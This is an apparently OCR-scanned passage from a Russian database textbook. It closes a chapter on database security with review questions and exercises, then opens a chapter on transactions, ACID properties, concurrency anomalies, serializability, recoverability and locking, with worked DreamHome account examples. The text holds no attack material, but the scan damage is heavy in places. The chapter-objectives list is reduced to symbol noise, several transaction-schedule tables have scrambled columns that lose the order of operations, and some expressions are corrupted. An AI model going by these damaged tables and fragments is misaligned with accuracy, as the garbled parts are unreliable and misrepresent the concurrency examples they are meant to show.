Некомпьютерные средства контроля включают разработку мер обеспечения безопасности, планирование защиты от непредвиденных обстоятельств, контроль за персоналом, защиту мест размещения оборудования, заключение гарантийных договоров и договоров на сопровождение, а также контроль за физическим доступом.
Статистические базы данных используются для генерирования статистической информации — например, усреднения и суммирования информации в различных наборах данных. Однако сведения об отдельных записях в статистической базе данных должны сохраняться конфиденциальными и недоступными для пользователей. Основная проблема при работе с подобными базами данных заключается в исключении возможности с помощью ответов на допустимые запросы получить информацию об ответах на недопустимые запросы.
Неприкосновенность личных данных определяет право каждого человека на защиту его личных данных от сбора, хранения и опубликования (как в отношении лично его. так и неперсоналъно, в общем потоке).
Защита личных данных состоит в защите личных данных каждого человека от незаконного сбора, хранения и опубликования, а также в предоставлении необходимых гарантий недопустимости уничтожения или искажения данных, сохраняемых с разрешения закона.
Вопросы
Поясните назначение и область применения понятия “защита баз данных”.
Перечислите шесть различных типов опасностей, которым могут подвергаться системы с базами данных, и укажите для каждой из них возможные средства контроля и противодействия.
Объясните смысл следующих понятий:
авторизация пользователей;
резервное копирование;
шифрование;
защита от непредвиденных обстоятельств;
контроль за персоналом;
гарантийные соглашения;
неприкосновенность личных данных;'
защита личных данных.
Назовите этапы процедуры оценки риска и кратко поясните каждый из них.
Упражнения
Выделите важнейшие компьютерные приложения в компьютеризированной среде вашего предприятия и определите следующее:
типы данных, которые используются и создаются приложениями;
необходимые меры контроля целостности данных;
способы выполнения контроля целостности данных в системе.
Выберите один из типов СУБД, используемый в компьютеризированной среде вашего предприятия, и оцените насколько полно эта система поддерживает все механизмы защиты, описанные в данной главе.
Проведите обследование компьютеризированной среды вашего предприятия и подготовьте следующие документы:
список всех потенциальных опасностей и обнаруженных вами брешей в системе защиты;
список всех контрмер, которые, по вашему мнению, могут быть приняты против существующих потенциальных опасностей;
заключение об общей степени риска в системе, с указанием (в случае необходимости) мер по устранению обнаруженных брешей в системе защиты.
Определите свойства и объем используемых в компьютеризированной среде вашего предприятия личных данных, после чего выполните следующее:
установите, кто несет ответственность за выработку методики сбора и . использования этих данных;
определите, кто из работников предприятия занят обработкой этих данных, а также получили ли они какую-либо специальную подготовку для работы с данными подобного типа (уточните, имеет ли место регулярное проведение подобных подготовок);
дайте подробные рекомендации по упорядочиванию доступа к имеющимся личным данным.
Установите, какие существуют законодательные акты в отношении использования личных данных граждан. Касаются ли они всех видов данных или только тех, которые сохраняются в компьютерах?
Проанализируйте учебное приложение DreamHome, описание которого приводится в разделе 1.7. Перечислите потенциальные опасности, которые могут возникнуть в этой среде, и предложите контрмеры, предназначенные для их устранения.
Проанализируйте учебное приложение Wellmeadows Hospital, описание которого приводится в приложении А. Перечислите потенциальные опасности, которые могут возникнуть в этой среде, и предложите контрмеры, предназначенные для их устранения.
ГЛАВА
1ЙЙЙ|В^
17
давление транзакциями
f.f.
f.
f.
Hi
ачение средств управления параллельностьюенйефедств восстановления базы данных.
чение и важность поддержки обработки транзакций, трайдакции.
[ррядочивания операций транзакций и способы рвения к управлению параллельностью.
ование блокировки для обеспечения&^йорядочивания.
ЭД^боты двухфазного протокола блокировки.
Й^локировка и методы ее устранения.
ванне временных отметок для поддержки рядочивания транзакций.
Р&цшы работы схемы оптимистического управления ^параллельн^ью^ '
Влияние различных уровней детализации блокировки
<Жна параллельность./^ . V/Й/. ,/_•>/ ’у»?
^;>, Некото^е/тйпичные причины разрушения баз данных.
;i^^Ha3Hi$!|||^^-
л Т^азн^Йййе процедуры срздания контрольной точки в ходе Ел.^р||^ткй. журнала транзакций.
М^ЛЭосстановлейия баз данных после разрушения, рндтивные модели выполнения длительных транзакций.
В главе 2, “Среда базы данных”, мы обсудили общие функциональные возможности, которые должна предоставлять типичная СУБД. В их число входит три тесно связанные между собой функции, назначение которых состоит в гарантированном поддержании базы данных в достоверном и согласованном состоянии. Причем достоверность и согласованность базы данных должна сохраняться при наличии отказов оборудования или программных компонентов, а также при эксплуатации базы данных в многопользовательской среде. В данной главе мы подробно обсудим три функции любой современной СУБД, а именно: механизмы поддержки транзакций, службы управления параллельностью и средства восстановления баз данных.
Каждая из этих функций будет обсуждаться отдельно, хотя все они находятся во взаимной зависимости. И механизм управления параллельностью доступа, и средства восстановления предназначены для защиты баз данных от потери данных или их перехода в несогласованное состояние. Многие СУБД допускают одновременное выполнение несколькими пользователями различных операций в базе данных. Если эти операции будут осуществляться бесконтрольно, выполняемые пользователями действия будут произвольным образом влиять друг на друга, вследствие чего база данных может перейти в несогласованное состояние. Для исключения подобных явлений в каждой СУБД реализуется некоторый протокол управления параллельностью, в задачу которого входит предотвращение нежелательного влияния пользовательских процессов друг на друга.,
Восстановление базы данных представляет собой процедуру восстановления базы данных в некотором корректном состоянии, предпринимаемую в случае разрушения системы. Разрушение системы может быть вызвано как отказами оборудования, так и программными ошибками или сбоями носителей информации. Причины могут быть различны: разрушение магнитной головки, ошибка в прикладной программе, ошибка в логике приложения, работающего с базой данных, и т.д. Кроме того, причиной может послужить ненамеренное или преднамеренное повреждение или уничтожение данных и программного обеспечения операторами системы или ее конечными пользователями. Любая СУБД должна иметь средства восстановления системы (независимо от конкретной причины отказа), а также позволять возвращать базу данных в согласованное состояние (в случае его утраты).
Структура этой главы
Для того чтобы понять, как функционируют средства управления параллельностью и средства восстановления, необходимо знать, что означает понятие транзакции, которое мы рассмотрим в разделе 17.1. В разделе 17.2 обсуждаются механизмы управления параллельностью и подробно освещаются протоколы, используемые для устранения возможных конфликтов. В разделе 17.3 описываются средства восстановления и технологии, которые могут использоваться с целью гарантированного сохранения базы данных в согласованном состоянии даже при наличии отказов. В разделе 17.4 рассматриваются более сложные модели транзакций, предложенные для поддержки выполнения длительных операций (от нескольких часов до нескольких месяцев), требующих взаимодействия с другими параллельно выполняемыми процессами и не придерживающихся жесткой схемы, что не позволяет предусмотреть ход их выполнения в будущем.
Поддержка транзакций
Транзакция Действие или серия действий, выполняемых одним пользователем или прикладной программой, которые осуществляют доступ или изменение содержимого базы данных.
Транзакция является логической единицей работы, выполняемой в базе данных. Она может быть представлена отдельной программой, являться частью алгоритма программы или даже отдельной командой (например, командой INSERT или UPDATE
языка SQL) и включать произвольное количество операций, выполняемых в базе данных. С точки зрения базы данных, выполнение программы некоторого приложения может расцениваться как серия транзакций, в промежутках между которыми выполняется некоторая обработка данных, осуществляемая вне среды базы данных. Для иллюстрации концепции транзакции рассмотрим два отношения из учебного примера DreamHome, описание которых приводится в табл, 3.4 и 3.5:
Staff(Sno, FName, LName, Address, Tel_No, Position,
Sex, DOB, Salary, NIN, Bno)
Property^for^Rent (Pno, Street, Area, City, Pcode, Type, Rooms, Rent, Ono, Sno, Bno)
Простейшей транзакцией, выполняемой в подобной базе данных, может быть модификация зарплаты определенного работника, указанного его личным номером х. На высшем уровне подобная транзакция может быть записана так, как показано в табл. 17.1 (вариант А). В этой главе мы будем обозначать операции чтения или записи элемента данных х с помощью выражений read(x) и write(х) соответственно. При необходимости к имени элемента данных могут добавляться дополнительные квалификаторы. Например, в столбце Вариант А (табл. 17.1) используется нотация read(Sno = х, salary), указывающая, что требуется считать элемент данных salary для записи, в которой ключевое значение равно х. В данном примере транзакция состоит из двух операций, выполняемых в базе данных (read и write), и одной операции, выполняемой вне базы данных (salary = salary*!. 1).
Таблица 17.1. Пример выполнения транзакции
Вариант АВариант Б
delete(Sno = х)
for all Property for_Rent records, pno
read(Sno = x, salary)begin
salary = salary *1.1read(Pno = pno, sno)
write(Sno = x, new_salary)if (sno = x) then
begin
sno = new^rno
write(Pno = pno, sno) end end
Более сложная транзакция, текст которой также показан в табл. 17.1 (вариант Б), предназначена для удаления сведений о работнике, заданном его учетным номером х. В этом случае, помимо удаления соответствующего кортежа из отношения Staff, потребуется найти все кортежи отношения Property_for_Rent, описывающие объекты недвижимости, за которые отвечал данный работник, после чего назначить их некоторому другому работнику, личный номер которого будет иметь значение new_sno. Если все указанные изменения не будут внесены до конца, база данных окажется в несогласованном состоянии — за объект недвижимости будет отвечать несуществующий работник компании.
Любая транзакция всегда должна переводить базу данных из одного согласованного состояния в другое, хотя допускается, что согласованность состояния базы будет нарушаться в ходе выполнения транзакции. Например, в процессе выполнения транзакции, представленной в столбце Вариант Б табл. 17.1, имеет место ситуация, ко-
гда один из кортежей отношения Property_for_Rent содержит новое значение атрибута Sno — new_sno, тогда как остальные кортежи все еще содержат прежнее значение х» Однако после завершения выполнения транзакции, во все требуемые кортежи будет помещено новое значение — new^sno.
Любая транзакция завершается одним из двух возможных способов. В случае успешного завершения результаты транзакции фиксируются (commit) в базе данных, и последняя переходит в новое согласованное состояние. Если выполнение транзакции не увенчалось успехом, она отменяется. В этом случае в базе данных должно быть восстановлено то согласованное состояние, в котором она находилась до начала данной транзакции. Этот процесс называется откатом (roll back) транзакции. Зафиксированная транзакция не может быть отменена. Если оказывается, что зафиксированная транзакция была ошибочной, потребуется выполнить другую транзакцию, отменяющую действия, выполненные первой транзакцией. В некоторых случаях эту транзакцию называют компенсирующей. Следует отметить, что отмененная транзакция может быть еще раз запущена позже и, в зависимости от причин предыдущего отказа, вполне успешно завершена и зафиксирована в базе данных.
Никакая СУБД не обладает внутренней возможностью установить, какие именно изменения должны быть восприняты как единое целое, образующее одну логическую транзакцию. Следовательно, должен существовать метод, позволяющий указывать границы каждой из транзакций извне, со стороны пользователя. В большинстве языков манипулирования данными для указания границ отдельных транзакций используются операторы BEGIN TRANSACTION, COMMIT и ROLLBACK (или их эквиваленты). Если эти ограничители не были использованы, вся выполняемая программа расценивается как единая транзакция. СУБД автоматически выполнит команду COMMIT при нормальном завершении этой программы. Аналогично, в случае ее аварийного завершения в базе данных автоматически будет выполнена команда ROLLBACK.
Свойства транзакций
Существуют некоторые свойства, которыми должна обладать любая из транзакций. Ниже представлены четыре основных свойства (ACID — аббревиатура, составленная из первых букв их английских названий).
Атомарность. Это свойство типа “все или ничего”. Любая транзакция представляет собой неделимую единицу работы, которая может быть либо выполнена вся целиком, либо не выполнена вовсе.
Согласованность. Каждая транзакция должна переводить базу данных из одного согласованного состояния в другое согласованное состояние.
Изолированность. Все транзакции выполняются независимо одна от другой. Другими словами, промежуточные результаты незавершенной транзакции не должны быть доступны другим транзакциям.
Продолжительность. Результаты успешно завершенной (зафиксированной) транзакции должны сохраняться в базе данных постоянно и не должны быть утеряны в результате последующих сбоев.
Архитектура базы данных
В главе 2, “Среда базы данных”, мы познакомились с общей архитектурой типичной СУБД. На рис. 17.1 представлен фрагмент полной схемы построения системы управления базой данных (см. рис. 2.6), включающий четыре высокоуровневых модуля, отвечающих за обработку транзакций, управление параллельностью и выполнение восстановления
системы. Менеджер транзакций осуществляет координацию работы транзакций, выполняемых прикладными программами. Он взаимодействует с планировщиком, отвечающим за реализацию выбранной стратегии управления параллельностью. В некоторых случаях планировщик называют менеджером блокировки, если используемый протокол управления параллельностью строится на основе системы блокировок. Цель работы планировщика состоит в достижении максимально возможного уровня параллельности, при условии исключения влияния параллельно выполняющихся транзакций друг на друга, поскольку это может послужить источником нарушения согласованности базы данных.
и системный каталог
Рис. 17.1. Подсистема обработки транзакций типичной СУБД
Если в процессе выполнения транзакции происходит отказ, то база данных может оказаться в несогласованном состоянии. Задачей менеджера восстановления является предоставление гарантий того, что в подобном случае база данных будет автоматически возвращена в то состояние, в котором она находилась до начала данной транзакции, и, следовательно, останется согласованной. Наконец, менеджер буферов отвечает за передачу данных между основной памятью компьютера и вторичной дисковой памятью.
Управление параллельностью
В этом разделе мы обсудим проблемы, связанные с обеспечением параллельного доступа к данным, а также познакомимся с технологиями, позволяющими разрешить эти проблемы. Для начала дадим рабочее определение функции управления параллельностью.
УправлениеПроцесс организации одновременного выполнения в базе
параллельностью данных различных операций, гарантирующий исключениеих взаимного влияния друг на друга.
Необходимость управления параллельностью
Важнейшей целью создания баз данных является организация параллельного доступа многих пользователей к общим данным, используемым ими совместно. Обеспечить параллельный доступ относительно несложно, если все пользователи будут только читать данные, помещенные в базу. В этом случае работа каждого из них не оказывает никакого влияния на работу остальных пользователей. Однако, если два или больше пользователей одновременно обращаются к базе данных и хотя бы один из них имеет целью обновить хранимую в базе информацию, возможно взаимное влияние процессов друг на друга, способное привести к несогласованности данных.
Данная задача подобна задачам, стоящим перед любой многопользовательской компьютерной системой. В этом случае несколько пользователей получают возможность одновременно выполнять операции — благодаря использованию концепции многопрограммности, позволяющей двум или больше программам (или транзакциям) выполняться в одно и то же время. Например, многие системы включают подсистему ввода/вывода, способную выполнять обработку операций ввода/вывода, в то время как центральный процессор (ЦП) осуществляет другие операции. Подобные системы позволяют двум или более транзакциям выполняться одновременно. Система начинает выполнение первой транзакции и продолжает ее выполнение до первой операции ввода/вывода. На время выполнения этой операции система приостанавливает выполнение первой транзакции и переходит к выполнению команд второй транзакции. Когда второй транзакции понадобится выполнить операцию ввода/вывода, управление будет возвращено первой транзакции и ее выполнение будет продолжено с той точки, в которой она была приостановлена. Выполнение первой транзакции будет продолжено до достижения следующей операции ввода/вывода. Выполнение операций двух транзакций чередуется, и таким образом достигается их параллельное выполнение. Кроме того, общая производительность системы (количество работы, выполняемой на протяжении заданного временного интервала) повышается, поскольку процессор выполняет команды другой транзакции, вместо того чтобы бесполезно ожидать завершения запущенной операции ввода/вывода.
Однако, несмотря на то что каждая из транзакций может сама по себе выполняться вполне корректно, подобное чередование операций способно приводить к неверным результатам, из-за чего целостность и согласованность базы данных будет нарушена. Мы рассмотрим три примера потенциальных проблем, которые могут иметь место при параллельном выполнении транзакций, — проблему потерянного обновления, проблему зависимости от нефиксированных результатов и проблему несогласованной обработки. Для иллюстрации указанных проблем мы воспользуемся отношением с данными о банковских счетах персонала компании DreamHome. В этом контексте будут выполняться транзакции, которые мы будем считать объектами управления параллельностью.
Пример 17.1. Проблема потерянного обновления
Результаты вполне успешно завершенной операции обновления одной транзакции могут быть перекрыты результатами выполнения другой транзакции. Эта аномалия известна как проблема потерянного обновления. Суть ее мы проиллюстрируем примером, приведенным в табл. 17.2. В этом примере транзакция Tj выполняется параллельно с транзакцией Т2. Транзакция Tt заключается в снятии 10 фунтов стерлингов со счета balx, на котором исходно находится 100 фунтов, а транзакция Т2 предполагает помещение 100 фунтов стерлингов на этот же счет. Если эти транзакции будут выполняться последовательно, одна за другой, без чередования их операций, то после завершения работы на счету будет находиться сумма в 190 фунтов стерлингов — причем независимо от порядка выполнения транзакций.
Транзакции Т, и Т2 начинаются практически одновременно, и каждая из них считывает исходное значение суммы на счету, равное 100 фунтам стерлингов. Затем транзакция Т2 увеличивает сумму на 100 фунтов стерлингов и записывает результат, равный 200 фунтам стерлингов, в базу данных — на счет balx. Тем временем транзакция Тх уменьшает значение своей копии исходной суммы на счету и записывает полученное значение, равное 90 фунтам стерлингов, в базу данных на тот же счет, перекрывая результат предыдущего обновления. В результате с балансового счета “исчезает** 100 фунтов стерлингов, добавленных при выполнении предыдущей операции.
Избежать потери результатов выполнения транзакции Т2 можно, запретив транзакции Tt считывать исходное значение на счету balx вплоть до завершения выполнения транзакции Т2.
Таблица 17.2. Пример проблемы потерянного обновления
Время
Транзакция Т^
Транзакция T2
Поле balx ,
11
begin_transaction
100
12
,begin_transaction
read(balx)
100
<3
read(balx)
balx = balx + 100
100
<4
balx = balx - 10
write(balx)
200
<5
write(balx)
commit
90
<6
commit
90
Пример 17.2. Проблема зависимости от нефиксированных результатов
i Проблема зависимости от нефиксированных результатов возникает в том случае, ес' ли одна из транзакций получит доступ к промежуточным результатам выполнения другой транзакции до того, как они будут зафиксированы в базе данных. В
- табл. 17.3 приведен пример зависимости от нефиксированных результатов, вызвав- < шей появление ошибки. В этом примере используются те же исходные данные, что и в предыдущем примере. В данном случае транзакция Т4 увеличивает значение суммы на счету balx до 200 фунтов стерлингов, после чего выполнение транзакции отменяется, поэтому СУБД должна выполнить откат транзакции с восстановлением исходного значения на счету, равного 100 фунтам стерлингов. Однако к этому моменту
; транзакция Т3 уже успела считать измененное значение счета balx (200 фунтов) и использовала именно это значение при выполнении операции снятия денег со счета, после чего зафиксировала в базе данных неверный результат, равный 190 фунтам стерлингов (вместо правильного — 90 фунтов стерлингов).
Таблица 17.3. Пример проблемы зависимости от нефиксированных результатов
Время
Транзакция T3
Транзакция T<
Поле baix
11
begin_transaction
100
12
read(balx)
100
h
balx = balx + 100
100
14
begin_transaction
write(balx)
200
Is
read(balx)
200
te
balx = balx - 10
rollback
100
17
write(balx)
190
te
commit
190
; Причина выполнения отката транзакции Т4 несущественна — допустим, что при ее выполнении была обнаружена некоторая ошибка (например, введен неверный
> номер счета). Источник ошибки заключается в предположении транзакции Т3, что выполненное в транзакции Т4 изменение будет успешно зафиксировано в базе данных, хотя на самом деле имел место откат этой транзакции. Проблему можно уст
, ранить, запретив транзакции Т3 считывать значение счета balx до тех пор, пока ' транзакция Т4 не будет либо зафиксирована, либо отменена.
Пример 17.3. Проблема несогласованной обработки
В обоих приведенных выше примерах речь шла о транзакциях, выполняющих обновление данных в базе, наличие взаимовлияния между которыми и вызывало разрушение базы. Однако транзакции, которые только считывают информацию из базы данных, также могут давать неверные результаты, если им будут доступны для чтения промежуточные результаты одновременно выполняющихся и еще не завершенных транзакций, обновляющих информацию в базе. В некоторых случаях эту проблему называют чтением мусора или неповторяемостью чтения.
Проблема несогласованности обработки возникает в тех случаях, когда транзакция считывает несколько значений из базы данных, после чего вторая транзакция обновляет некоторые из этих значений непосредственно во время выполнения первой транзакции. Например, транзакция, выполняющая суммирование выбранных из базы данных (скажем, вычисляющая общую сумму на счетах), получит неверное значение, если во время ее выполнения другая транзакция изменит считанные ею значения. Пример подобной ошибки приведен в табл. 17.4. Здесь транзакция Тв, вычисляющая итоговое значение, выполняется параллельно с транзакцией Т6. Транзакция Тв вычисляет сумму остатков на счетах balx (100 фунтов стерлингов), baly (50 фунтов стерлингов) и balz (25 фунтов стерлингов). Однако в это же время транзакция Т5 осуществляет перенос десяти фунтов стерлингов со счета balx на счет balz. В результате вычисленное транзакцией Тв значение оказывается неверным (завышенным на 10 фунтов стерлингов).
Таблица 17.4. Пример проблемы несогласованной обработки
Время
Транзакция T5
Транзакция T6
Поле
Поле
Поле
Поле
balx
baly
balz
sum
ti
begin_transaction
100
50
25
t2
begin transaction
sum = 0
100
50
25
0
1з
read(balx)
read(balx)
100
50
25
0
U
balx = balx -10
sum = sum + balx
100
50
25
100 ■
ts
write(balx)
read(baly)
90
50
25
100
<6
read(bal2)
sum = sum + baly
90
50
25
150
t7
balz = balz + 10
90
50
25
150
ta
write(bal2)
90
50
35
150
to
commit
read(balz)
90
50
35
150
tw
sum = sum + balz
90
50
35
185
ti 1
commit
90
50
35
185
Эту проблему можно устранить, запретив транзакции Т6 считывать значения на ; ; счетах balx и balz до тех пор, пока транзакция Т5 не зафиксирует выполненные ею I обновления.j
Упорядочиваемость и восстанавливаемость
В предыдущем разделе мы обсудили основные проблемы, связанные с возможностью параллельного выполнения транзакций. Назначение протоколов управления параллельностью состоит подготовке такого графика выполнения транзакций, который исключит возможность их влияния на результаты работы друг друга. Одно из оче-
видных решений состоит в выполнении в каждый момент времени только одной транзакции — предыдущая транзакция обязательно должна быть зафиксирована, прежде чем будет разрешено начать выполнение следующей транзакции. Однако назначение многопользовательских СУБД состоит в обеспечении максимальной степени параллельности выполнения транзакций пользователей, поэтому те транзакции, которые не оказывают влияния на работу друг друга, вполне могут запускаться одновременно. Например, транзакции, обращающиеся к разным частям базы данных, не окажут влияния на работу друг друга и, следовательно, могут выполняться одновременно. В этом разделе мы познакомимся с понятием упорядочиваемости как со средством, способным помочь в выявлении тех транзакций, которые гарантированно не вызовут нарушения согласованности данных при одновременном выполнении (Papadimitriou, 1979). Но вначале дадим несколько определений.
График Последовательность запуска операций множества параллельно выполняемых транзакций, сохраняющая очередность выполнения операций в каждой отдельной транзакции.
Каждая транзакция состоит из последовательности операций, включающих чтение и запись данных в базу, которые должны завершаться фиксацией либо откатом полученных результатов. График S представляет собой последовательность операций, входящих в состав множества из п транзакций Ти Т2, ..., Тп, на которую накладывается ограничение, требующее, чтобы последовательность операций каждой из исходных транзакций была сохранена. Следовательно, для каждой транзакции Т4 порядок ее операций в графике S должен быть сохранен.
Последовательный График, в котором операции каждой из транзакций выпол- графикняются строго последовательно и не могут чередоваться с
операциями, выполняемыми в других транзакциях.
В последовательном графике транзакции выполняются строго поочередно. Например, если имеются две транзакции, Т2 и Т2, они будут выполняться либо в последовательности Тр Т2, либо в последовательности Т2, Ти Таким образом, при последовательном выполнении никакое взаимовлияние транзакций невозможно, поскольку в каждый момент времени выполняется только одна из транзакций. Однако нет гарантии, что результаты выполнения всех возможных последовательных графиков для заданного набора транзакций всегда будут идентичными. Например, в случае банковских операций имеет значение, на какую именно сумму был начислен процент (имеется в виду — до снятия большой суммы со счета или после этого).
Непоследовательный График, в котором чередуются операции из некоторого на- графикбора одновременно выполняемых транзакций.
Три описанные выше проблемы являются следствием неверного управления параллельным выполнением транзакций, что приводит к переходу базы данных в несогласованное состояние (в первых двух примерах) или к выдаче пользователю неверных результатов (в третьем случае). Последовательное выполнение транзакций предотвращает возникновение подобных проблем. Не имеет значения, какой именно последовательный график будет выбран, поскольку при последовательном выполнении транзакций база данных никогда не оставляется в несогласованном состоянии. Поэтому любая последовательность выполнения транзакций из заданного множества будет корректной, хотя могут быть получены различные конечные результаты. Суть упорядочивания состоит в отыскании таких непоследовательных графиков, которые позволят транзакциям выполняться параллельно, но без оказания взаимного влияния друг на друга, и, привести базу данных в состояние, которое может быть достигнуто при использовании последовательного графика.
В случае параллельного выполнения заданного множества транзакций мы будем говорить, что (непоследовательный) график является корректным, если он приводит к получению тех же результатов, которые получаются при использовании некоторого после-
довательного графика. Подобный график будем называть упорядоченным. Для предотвращения внесения в базу данных несогласованности, вызванной влиянием транзакций друг на друга, чрезвычайно важно гарантировать упорядоченность используемого графика выполнения параллельных транзакций. В отношении достижения упорядоченности весьма важен порядок выполнения операций чтения и записи данных.
Если две транзакции только считывают некоторый элемент данных, они не будут конфликтовать между собой и порядок их выполнения не имеет значения.
Если две транзакции считывают или записывают совершенно независимые элементы данных, они не будут конфликтовать между собой и порядок их выполнения не имеет значения.
Если одна транзакция записывает элемент данных, а другая транзакция этот же элемент данных считывает или записывает, порядок их выполнения имеет существенное значение.
Рассмотрим график Sn представленный в столбцах Вариант А табл. 17.5. Он устанавливает последовательность операции транзакций Т7 и Т8, выполняемых параллельно. Поскольку операция записи на счет balx в транзакции Т8 не конфликтует с последующей операцией чтения счета baly в транзакции Т7, можно изменить последовательность выполнения этих операций и получить эквивалентный график S2, показанный в столбцах Вариант Б этой же таблицы. Если поменять порядок выполнения и следующих не конфликтующих между собой операций, то мы получим эквивалентный последовательный график S3, показанный в столбцах Вариант В (табл. 17.5).
Меняем порядок выполнения операций write(balx) транзакции Т8 и write(balx) транзакции Т7.
Меняемпорядоквыполненияоперацийread(balx)транзакцииТ8и
read(baly) транзакции Т7.
Меняемпорядоквыполненияоперацийread(balx)транзакцииТ8и
write(baly) транзакции Т7.
Таблица 17.5. Эквивалентные графики: вариант А - непоследовательный график Sv вариант Б - непоследовательный график S2, эквивалентный графику S7; вариант В - последовательный график S3, эквивалентный графикам S1 и S2
Вариант А
Вариант Б
Вариант В
Транзакция Т7 Транзакция Т8
Транзакция T7
Транзакция T8 Транзакция Т7 Транзакция Т8
begin_transac
begin_transac
begin_transac
tion
tion
tion
read(balx)
read(balx)
read(balx)
write(balx)
write(balx)
write(balx)
begin_transac
begin_transacread(baly)
tion
tiont
read(balx)
read(balx)write(baly)
write(balx)
read(baly)
commit
read(baly)
write(balx)begin_traneac
tion "
write(baly)
write(baly)
read(balU)
commit
commit
write(balx)
read(baly)
read(baly)read(baly)
write(baly)
write(baly)write(baly)
commit
commitcommit
График S3 является последовательным, поэтому эквивалентные ему графики S! и S2 упорядоченные.
Подобный тип упорядочивания принято называть конфликтным упорядочиванием. В конфликтно упорядоченном графике порядок выполнения любых конфликтующих операций соответствует их размещению в последовательном графике. Из правила принудительной записи (утверждающего, что транзакция должна обновлять элемент данных исходя из его прежнего значения, которое было прочитано транзакцией раньше) следует, что для проверки конфликтной упорядоченности можно использовать граф предшествования. Граф предшествования состоит из следующих элементов:
вершин, соответствующих каждой из транзакций;
направленных ребер Ti—>Tjt где транзакция Tj считывает значение элемента, записанного транзакцией Tt;
направленных ребер Т^Тр где транзакция Tj записывает значение в элемент данных после того, как он был считан транзакцией ТР
Если граф предшествования содержит петли, то соответствующий ему график не является конфликтно упорядоченным.
= Пример 17.4. Пример графика, не являющегося конфликтно' ■
упорядоченным ,.
: Рассмотрим две транзакции, график выполнения которых представлен в табл. 17.6. В транзакции Т9 100 фунтов стерлингов передается со счета balx на счет
; baly. Транзакция Т10 увеличивает текущее значение каждого из этих счетов на 10%. Граф предшествования для данного графика, показанный на рис. 17.2, содержит петлю, поэтому этот график не является конфликтно упорядоченным.
* Таблица 17.6. Пример графика выполнения двух параллельных транзакций обновления
Транзакция Т9Транзакция Т10
begin_transaction
read(balx)
balx = balx + 100
write(balx)begin_transaction
read(balx)
balx = balx *1.1 write(balx) read(baly)
baly = baly *1.1
write(baly)
read(baly)commit
baly = baly -100
write(baly)
commit
Рис. 17.2. Граф предшествования для графика, представленного в табл. 17.6
Упорядочивание по просмотру
Существует и несколько других типов упорядочивания, которые выдвигают менее строгое определение эквивалентности графиков, чем то, которое дается в случае конфликтной упорядоченности. Одно из этих определений называют упорядочиванием по просмотру. Два графика St и S2, состоящих из одних и тех же операций, входящих в состав п транзакций Ти Т2, ..., Тп, являются эквивалентными по просмотру, если выполняются следующих три условия.
Для каждого элемента данных х: если транзакция Т\ прочла исходное значение х в графике Sn эта же транзакция Т\ должна прочесть исходное значение х и в графике S2.
Для каждой операции чтения элемента данных х транзакцией 1\ в графике Sp если считанное значение элемента х было записано транзакцией TJf то и в графике S2 транзакция Т\ должна считывать значение элемента х, записанное транзакцией Tje
Для каждого элемента данных х; если в графике Si последняя операция записи значения х была выполнена транзакцией Т? эта же самая транзакция должна выполнять последнюю запись значения элемента данных х и в графике S2.
График является упорядоченным по просмотру, если он эквивалентен по просмотру некоторому последовательному графику. Каждый конфликтно упорядоченный график в то же время является упорядоченным по просмотру, однако обратное утверждение неверно. Например, график, представленный в табл. 17.7, является упорядоченным по просмотру, но не является конфликтно упорядоченным. В этом примере для транзакций Т12 и Т13 не соблюдается правило вынужденной записи — другими словами, в них выполняется слепая запись. Может быть математически доказано, что любой упорядоченный по просмотру график, который не является конфликтно упорядоченным, содержит одну или больше операций слепой записи.
Таблица 17.7. Пример упорядоченного по просмотру графика, который не является конфликтно упорядоченным
Транзакция Тп
Транзакция T12
Транзакция T13
begin_transaction
read(balx)
begin_transaction write(balx)
commit
write(balx) commit
begin_transaction write(balx)
commit
В общем случае проверка того, является ли график упорядоченным по просмотру, представляет собой весьма сложную задачу — т.е. маловероятно, что удастся найти некоторый эффективный алгоритм (Ullman, 1988).
На практике СУБД не проверяют графики на упорядоченность. Это было бы нецелесообразно, поскольку чередование операций параллельно выполняющихся транзакций определяется операционной системой. Вместо этого в СУБД используются специальные протоколы, позволяющие создавать упорядоченные графики. Два таких протокола будут рассмотрены в следующем разделе
Восстанавливаемость
Упорядоченными называются такие графики, которые позволяют сохранить согласованность базы данных в предположении, что ни одна из транзакций этого графика не будет отменена. Противоположный подход анализирует восстанавливаемость транзакций, входящих в данный график. В случае, если выполнение транзакции было отменено, свойство атомарности требует, чтобы были отменены все имеющиеся результаты ее выполнения. Кроме того, свойство продолжительности требует, чтобы после фиксации результатов транзакции выполненные ею изменения нельзя было отменить (без запуска другой, компенсирующей транзакции). Еще раз обратимся к двум транзакциям, представленным в табл. 17.6. Но на этот раз предположим, что вместо операции commit в конце транзакции Т9 был выполнен откат всех результатов ее выполнения. Транзакция Т10 уже считала измененное значение счета balx, записанное транзакцией Т9, выполнила его обновление и зафиксировала результаты в базе данных. Строго говоря, следовало бы отменить результаты выполнения транзакции Т10, поскольку она использовала значение на счету balx, которое должно быть отменено. Однако свойство продолжительности транзакций не позволяет сделать этого. Другими словами, данный график не обладает свойством восстанавливаемости и поэтому является некорректным.
Восстанавливаемый График, в котором для каждой пары транзакций Ti и Tj вы- графикполняется следующее правило: если транзакция Т} считыва
ет элемент данных, предварительно записанный транзакцией Ти то фиксация результатов транзакции Тт должна выполняться до фиксации результатов транзакции Тг
Методы управления параллельностью
Упорядоченность может быть достигнута несколькими различными способами. Существует два основных метода управления параллельностью, позволяющих организовать одновременное безопасное выполнение транзакций при соблюдении определенных ограничений: метод блокировки и метод временных меток.
По сути, и блокировка, и использование временных меток являются консервативными (или пессимистическими) подходами, поскольку они откладывают выполнение транзакций, способных в будущем в тот или иной момент времени войти в конфликт с другими транзакциями. Оптимистические методы, как мы увидим позже, строятся на предположении, что вероятность конфликта невысока, поэтому они допускают асинхронное выполнение транзакций, а проверка на наличие конфликта откладывается на момент их завершения и фиксации в базе данных.
Блокировка
Блокировка Процедура, используемая для управления параллельным доступом к данным. Когда некоторая транзакция получает доступ к базе данных, механизм блокировки позволяет (с целью исключения получения некорректных результатов) отклонить попытки получения доступа к этим же данным со стороны других транзакций.
